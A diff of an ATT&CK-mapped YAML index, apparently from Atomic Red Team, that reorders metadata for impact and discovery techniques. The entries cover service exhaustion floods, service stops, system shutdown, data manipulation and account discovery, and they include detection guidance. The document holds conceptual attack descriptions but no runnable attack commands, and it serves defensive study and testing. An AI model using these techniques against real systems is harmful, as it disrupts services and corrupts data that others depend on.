-          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_data_sources:
       - 'Process: OS API Execution'
       - 'File: File Creation'
       - 'File: File Deletion'
       - 'File: File Modification'
       - 'File: File Metadata'
-      x_mitre_detection: Inspect important application binary file hashes, locations,
-        and modifications for suspicious/unexpected values.
-      x_mitre_impact_type:
-      - Integrity
+      x_mitre_version: '1.0'
+      created: '2020-03-02T14:30:05.252Z'
       x_mitre_permissions_required:
       - User
       - Administrator
       - root
       - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-    atomic_tests: []
-  T1499.002:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1499.002
-        url: https://attack.mitre.org/techniques/T1499/002
-      - external_id: CAPEC-488
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/488.html
-      - external_id: CAPEC-489
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/489.html
-      - external_id: CAPEC-528
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/528.html
-      - source_name: Arbor AnnualDoSreport Jan 2018
-        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
-        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
-          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
-          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
-          Infrastructure Security Report. Retrieved April 22, 2019.
-      - source_name: Cloudflare HTTPflood
-        url: https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
-        description: Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved
-          April 22, 2019.
-      - source_name: Arbor SSLDoS April 2012
-        url: https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new
-        description: 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on
-          SSL: Something Old, Something New. Retrieved April 22, 2019.'
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
+      id: attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490
+      description: |-
+        Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
+
+        Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Service Exhaustion Flood
-      description: |-
-        Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
-
-        One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
-
-        Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
-      id: attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-29T16:11:12.815Z'
-      created: '2020-02-20T15:31:43.613Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
-      - Availability
-      x_mitre_detection: |-
-        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.
-
-        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
-
-        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
+      - Integrity
+      x_mitre_detection: Inspect important application binary file hashes, locations,
+        and modifications for suspicious/unexpected values.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1565/003
+        external_id: T1565.003
+        source_name: mitre-attack
+      - source_name: FireEye APT38 Oct 2018
+        description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
+          November 6, 2018.'
+        url: https://content.fireeye.com/apt/rpt-apt38
+      - url: https://www.justice.gov/opa/press-release/file/1092091/download
+        description: Department of Justice. (2018, September 6). Criminal Complaint
+          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
+        source_name: DOJ Lazarus Sony 2018
+    atomic_tests: []
+  T1499.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Service Exhaustion Flood
       x_mitre_data_sources:
       - 'Sensor Health: Host Status'
       - 'Application Log: Application Log Content'
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.2'
+      modified: '2021-03-29T16:11:12.815Z'
+      created: '2020-02-20T15:31:43.613Z'
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -54648,15 +56122,84 @@ impact:
       - Linux
       - macOS
       - Google Workspace
-    atomic_tests: []
-  T1489:
-    technique:
-      created: '2019-03-29T19:00:55.901Z'
-      modified: '2021-03-02T22:11:32.017Z'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858
+      description: |-
+        Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
+
+        One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
+
+        Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
+      x_mitre_impact_type:
+      - Availability
+      x_mitre_detection: |-
+        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.
+
+        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
+
+        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1499/002
+        external_id: T1499.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/488.html
+        external_id: CAPEC-488
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/489.html
+        external_id: CAPEC-489
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/528.html
+        external_id: CAPEC-528
+        source_name: capec
+      - url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
+        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
+          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
+          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
+          Infrastructure Security Report. Retrieved April 22, 2019.
+        source_name: Arbor AnnualDoSreport Jan 2018
+      - url: https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
+        description: Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved
+          April 22, 2019.
+        source_name: Cloudflare HTTPflood
+      - url: https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new
+        description: 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on
+          SSL: Something Old, Something New. Retrieved April 22, 2019.'
+        source_name: Arbor SSLDoS April 2012
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
+    atomic_tests: []
+  T1489:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Service Stop
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'Service: Service Metadata'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      - 'Process: Process Termination'
+      x_mitre_version: '1.2'
+      modified: '2021-03-02T22:11:32.017Z'
+      created: '2019-03-29T19:00:55.901Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
       id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b
       description: "Adversaries may stop or disable services on a system to render
         those services unavailable to legitimate users. Stopping critical services
@@ -54672,37 +56215,11 @@ impact:
         [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted
         for Impact](https://attack.mitre.org/techniques/T1486) on the data stores
         of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)"
-      name: Service Stop
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - external_id: T1489
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1489
-      - source_name: Talos Olympic Destroyer 2018
-        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
-        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
-          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
-      - source_name: Novetta Blockbuster
-        description: 'Novetta Threat Research Group. (2016, February 24). Operation
-          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
-          25, 2016.'
-        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
-      - source_name: SecureWorks WannaCry Analysis
-        url: https://www.secureworks.com/research/wcry-ransomware-analysis
-        description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware
-          Analysis. Retrieved March 26, 2019.
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_version: '1.2'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: |-
         Monitor processes and command-line arguments to see if critical processes are terminated or stop running.
 
@@ -54711,16 +56228,24 @@ impact:
         Alterations to the service binary path or the service startup type changed to disabled may be suspicious.
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'Service: Service Metadata'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      - 'Process: Process Termination'
-      x_mitre_impact_type:
-      - Availability
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1489
+        external_id: T1489
+        source_name: mitre-attack
+      - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
+          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
+        source_name: Talos Olympic Destroyer 2018
+      - url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
+        description: 'Novetta Threat Research Group. (2016, February 24). Operation
+          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
+          25, 2016.'
+        source_name: Novetta Blockbuster
+      - url: https://www.secureworks.com/research/wcry-ransomware-analysis
+        description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware
+          Analysis. Retrieved March 26, 2019.
+        source_name: SecureWorks WannaCry Analysis
       identifier: T1489
     atomic_tests:
     - name: Windows - Stop service using Service Controller
@@ -54788,107 +56313,107 @@ impact:
         name: command_prompt
   T1565.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1565.001
-        url: https://attack.mitre.org/techniques/T1565/001
-      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
-          November 6, 2018.'
-        url: https://content.fireeye.com/apt/rpt-apt38
-        source_name: FireEye APT38 Oct 2018
-      - source_name: DOJ Lazarus Sony 2018
-        url: https://www.justice.gov/opa/press-release/file/1092091/download
-        description: Department of Justice. (2018, September 6). Criminal Complaint
-          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Stored Data Manipulation
-      description: |-
-        Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
-
-        Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
-      id: attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
+      name: Stored Data Manipulation
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Deletion'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
       modified: '2020-03-02T15:17:40.505Z'
       created: '2020-03-02T14:22:24.410Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
       - root
       - SYSTEM
-      x_mitre_impact_type:
-      - Integrity
-      x_mitre_detection: Where applicable, inspect important file hashes, locations,
-        and modifications for suspicious/unexpected values.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Deletion'
-      - 'File: File Modification'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1529:
-    technique:
-      created: '2019-10-04T20:42:28.541Z'
-      modified: '2020-03-27T21:18:48.149Z'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292
+      description: |-
+        Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
+
+        Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
+      x_mitre_impact_type:
+      - Integrity
+      x_mitre_detection: Where applicable, inspect important file hashes, locations,
+        and modifications for suspicious/unexpected values.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1565/001
+        external_id: T1565.001
+        source_name: mitre-attack
+      - source_name: FireEye APT38 Oct 2018
+        description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
+          November 6, 2018.'
+        url: https://content.fireeye.com/apt/rpt-apt38
+      - url: https://www.justice.gov/opa/press-release/file/1092091/download
+        description: Department of Justice. (2018, September 6). Criminal Complaint
+          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
+        source_name: DOJ Lazarus Sony 2018
+    atomic_tests: []
+  T1529:
+    technique:
       type: attack-pattern
+      modified: '2020-03-27T21:18:48.149Z'
+      name: System Shutdown/Reboot
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Sensor Health: Host Status'
+      x_mitre_version: '1.0'
+      created: '2019-10-04T20:42:28.541Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc
       description: |-
         Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
 
         Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
-      name: System Shutdown/Reboot
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1529
-        url: https://attack.mitre.org/techniques/T1529
-      - source_name: Microsoft Shutdown Oct 2017
-        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
-        description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4,
-          2019.
-      - source_name: Talos Nyetya June 2017
-        url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
-        description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises
-          Systems Worldwide. Retrieved March 26, 2019.
-      - source_name: Talos Olympic Destroyer 2018
-        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
-        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
-          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Sensor Health: Host Status'
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      - SYSTEM
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_impact_type:
       - Availability
-      x_mitre_version: '1.0'
       x_mitre_detection: Use process monitoring to monitor the execution and command
         line parameters of binaries involved in shutting down or rebooting systems.
         Windows event logs may also designate activity associated with a shutdown/reboot,
         ex. Event ID 1074 and 6006.
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1529
+        external_id: T1529
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
+        description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4,
+          2019.
+        source_name: Microsoft Shutdown Oct 2017
+      - url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
+        description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises
+          Systems Worldwide. Retrieved March 26, 2019.
+        source_name: Talos Nyetya June 2017
+      - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
+          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
+        source_name: Talos Olympic Destroyer 2018
       identifier: T1529
     atomic_tests:
     - name: Shutdown System - Windows
@@ -55033,40 +56558,35 @@ impact:
         elevation_required: true
   T1565.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1565.002
-        url: https://attack.mitre.org/techniques/T1565/002
-      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
-          November 6, 2018.'
-        url: https://content.fireeye.com/apt/rpt-apt38
-        source_name: FireEye APT38 Oct 2018
-      - source_name: DOJ Lazarus Sony 2018
-        url: https://www.justice.gov/opa/press-release/file/1092091/download
-        description: Department of Justice. (2018, September 6). Criminal Complaint
-          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Transmitted Data Manipulation
-      description: |-
-        Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
-
-        Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
-      id: attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
+      name: Transmitted Data Manipulation
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.0'
       modified: '2020-03-02T15:20:28.455Z'
       created: '2020-03-02T14:27:00.693Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
       - SYSTEM
       - root
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6
+      description: |-
+        Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
+
+        Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_impact_type:
       - Integrity
       x_mitre_detection: 'Detecting the manipulation of data as at passes over a network
@@ -55075,44 +56595,39 @@ impact:
         a network. With some critical processes involving transmission of data, manual
         or out-of-band integrity checking may be useful for identifying manipulated
         data. '
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1565/002
+        external_id: T1565.002
+        source_name: mitre-attack
+      - source_name: FireEye APT38 Oct 2018
+        description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
+          November 6, 2018.'
+        url: https://content.fireeye.com/apt/rpt-apt38
+      - url: https://www.justice.gov/opa/press-release/file/1092091/download
+        description: Department of Justice. (2018, September 6). Criminal Complaint
+          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
+        source_name: DOJ Lazarus Sony 2018
     atomic_tests: []
 discovery:
   T1087:
     technique:
-      id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Account Discovery
-      description: Adversaries may attempt to get a listing of accounts on a system
-        or within an environment. This information can help adversaries determine
-        which accounts exist to aid in follow-on behavior.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1087
-        url: https://attack.mitre.org/techniques/T1087
-      - external_id: CAPEC-575
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/575.html
-      - source_name: Elastic - Koadiac Detection with EQL
-        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
-        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
-          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Account Discovery
+      x_mitre_data_sources:
+      - 'User Account: User Account Metadata'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'File: File Access'
+      x_mitre_version: '2.3'
+      modified: '2021-10-13T14:05:15.038Z'
+      created: '2017-05-31T21:31:06.988Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-14T12:26:11.595Z'
-      created: '2017-05-31T21:31:06.988Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -55122,60 +56637,70 @@ discovery:
       - Linux
       - macOS
       - Google Workspace
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
+      description: Adversaries may attempt to get a listing of accounts on a system
+        or within an environment. This information can help adversaries determine
+        which accounts exist to aid in follow-on behavior.
+      x_mitre_contributors:
+      - Daniel Stepanic, Elastic
+      - Microsoft Threat Intelligence Center (MSTIC)
+      - Travis Smith, Tripwire
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
-      x_mitre_data_sources:
-      - 'User Account: User Account Metadata'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'File: File Access'
-      x_mitre_contributors:
-      - Daniel Stepanic, Elastic
-      - Microsoft Threat Intelligence Center (MSTIC)
-      - Travis Smith, Tripwire
-      x_mitre_version: '2.3'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1087
+        external_id: T1087
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/575.html
+        external_id: CAPEC-575
+        source_name: capec
+      - url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
+        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
+          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
+        source_name: Elastic - Koadiac Detection with EQL
     atomic_tests: []
